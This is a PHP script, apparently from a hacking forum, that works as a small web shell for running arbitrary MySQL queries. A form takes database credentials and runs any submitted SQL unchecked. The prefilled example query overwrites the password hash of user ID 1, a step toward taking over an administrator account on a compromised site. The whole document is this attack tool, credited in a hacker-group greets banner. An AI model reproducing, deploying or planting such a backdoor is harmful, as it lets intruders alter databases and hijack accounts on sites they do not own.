MySQL Query Command Execute

<?
###############################
## Coded By Dr.KroOoZ        ##
## b0x@hotmail.com           ##
## www.sec4ever.com          ##
## Greets To : b0x ~ n4ss1m  ##
###############################
echo '<form method="POST">
<title>Mysql Query Command Execute</title>
<center>
<body text="#FFFFFF" bgcolor="#000000">
<p align="center" dir="ltr"><b><font face="Tahoma" size="4">[+] MySQL Query
Command Execute <blink>_</blink></font></b></p>
<input type="text" name="host" value="localhost">
<input type="text" name="data" value="database">
<input type="text" name="user" value="username">
<input type="text" name="pass" value="password"><br>
<textarea cols="30" rows="4" name="cmds">UPDATE table_name SET password="f27c26649364c9685d3d7ce93fe4fdbe" WHERE ID = 1;</textarea><br>
<input type="submit" value="Execute"> <br>';
$cmds = $_POST['cmds'];
$host = $_POST['host'];
$data = $_POST['data'];
$user = $_POST['user'];
$pass = $_POST['pass'];
        mysql_connect($host,$user,$pass) or die (mysql_error());
        mysql_select_db($data) or die (mysql_error());
$exec = mysql_query(stripslashes($cmds)) or die (mysql_error());

if($exec) {
echo "<p align='center' dir='ltr'><font face='Verdana' color='red' size='1'>Your Command
Executed :D</font></p>";
} else {
echo '<p align="center" dir="ltr"><font face="Verdana" size="1">Error ;( </font></p>';
}
?>